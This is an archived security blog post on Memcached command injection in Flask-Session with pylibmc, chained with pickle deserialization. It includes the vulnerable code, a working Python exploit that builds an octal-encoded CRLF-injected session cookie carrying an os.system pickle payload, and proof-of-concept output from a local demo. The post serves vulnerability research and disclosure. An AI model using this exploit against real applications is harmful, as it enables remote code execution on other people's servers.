Memcached Command Injections at Pylibmc

Memcached Command Injections at Pylibmc - Author not stated, btlfry.gitlab.io.

- Published: date not stated
- Original: <https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/>
- Preserved from: https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/ (live) on 2026-08-06
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Memcached Command Injections at Pylibmc

Sat, Feb 4, 2023

The recent rise of Apache Airflow CVE-2020-17526 vulnerabilities bring my attention to the flask session signing algorythm. My search of common flask's default secrets at GitHub broght me to one interesting library Flask_Session. Flask-Session is an extension for Flask that adds support for Server-side Session to the application. It allows you to use Redis, Memcached key-value store as a session backend. By default python pickle library used for data serialization. Which reminded me of an interesting research.

In 2014, Ivan Novikov presented a Memcached injection techniques at Black Hat USA. It was mentioned that Memcached injection can be used to get Remote Code Execution at vulnerable application in case of the data deserialization. Lately it was shown that vBulletin before version 4.2.2 had a Memcache Remote Code Execution via SSRF by arbitrary serialized data injection into Memcached.

Memcached injection techniques

Memcached is a distributed memory caching system. It is in great demand in bigdata Internet projects as it allows reasonably speed up web applications by caching data in RAM. At Flask world cached data often includes user sessions. Memcached supports both plaintext and binary protocols. Commands and data sequences terminated by CRLF at Memcached. The simplest vector of exploitation is CRLF injection in the command argument. For example, as the name attribute for the command "set".

Common Memcache Commands are

Command	Format
set	set <key> <flags> <expiry> <datalen> [noreply]\r\n<data>\r\n
get	get <key> [<key>]+\r\n

- Where,

- <flags> - uint32_t : data specific client side flags
- <expiry> - uint32_t : expiration time (in seconds)
- <datalen> - uint32_t : size of the data (in bytes)
- <data> - uint8_t[]: data block

Demo application

There is a demo application that can be used to play with vulnerability localy. Docker is required to run the PoC: `docker-compose -f compose.yaml up`. Visit `http://127.0.0.1:8000/set/?key=value` to start.

Exploitation

Lets take a look at Flask-Session function `save_session` that is responsible for session storage at Memcached:

```
full_session_key = self.key_prefix + session.sid

if not PY2:
    val = self.serializer.dumps(dict(session), 0)
else:
    val = self.serializer.dumps(dict(session))
self.client.set(full_session_key, val, self._get_memcache_timeout(
                total_seconds(app.permanent_session_lifetime)))
```

Variable `full_session_key` is a concatenation of strings: prefix and session cookie value. This function is vulnerable to the Memcached command injection at cookie with CRLF technic. However, we have one obstacle - special charecters are difficult to set into Http header. To solve this problem lets take a look at RFC2068:

```
Many HTTP/1.1 header field values consist of words separated by LWS
or special characters. These special characters MUST be in a quoted
string to be used within a parameter value.
```

This logic is implemented at cookies processing function:

```
These quoting routines conform to the RFC2109 specification, which in
turn references the character definitions from RFC2068.  They provide
a two-way quoting algorithm.  Any non-text character is translated
into a 4 character sequence: a forward-slash followed by the
three-digit octal equivalent of the character.  Any '\' or '"' is
quoted with a preceeding '\' slash.

Check for special sequences.  Examples:
   \012 --> \n
   \"   --> "
```

By using quoted string we can encode `\r\n` charecters into `\015\012` string. Let me remind you that python pickle library is used to deserialise session data before saving it into Memcached. This means that we can convert a stream of bytes into a Python object and get remote code execution. Simpliest exploit of pickle data deserialization by `__reduce__` method shown below

```
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('ping -c 1 localhost')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    payload_size = len(payload)
    cookie = b'137\r\nset BT_:1337 0 2592000 '
    cookie += str.encode(str(payload_size))
    cookie += str.encode('\r\n')
    cookie += payload
    cookie += str.encode('\r\n')
    cookie += str.encode('get BT_:1337')

    pack = ''
    for x in list(cookie):
        if x > 64:
            pack += oct(x).replace("0o","\\")
        elif x < 8:
            pack += oct(x).replace("0o","\\00")
        else:
            pack += oct(x).replace("0o","\\0")

    return f"\"{pack}\""
```

Our command injection at plain text Memcached protocol shown at Wireshark stream: [image: Wireshark stream]

Exploitation

Let's put it all together.

- Set session cookie `notsecret` value with CRLF injection.

[image: Memcached injection]

- Get memcached key with cookie `notsecret=1337`

[image: Remote code execution]

- Localhost ping can be found at console output

[image: Pickle data deserialization]

```
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.032 ms
localhost ping statistics
```

Supporting Material/References:

- SSRF, Memcached and other key-value injections in the wild
- Exploiting Python pickles
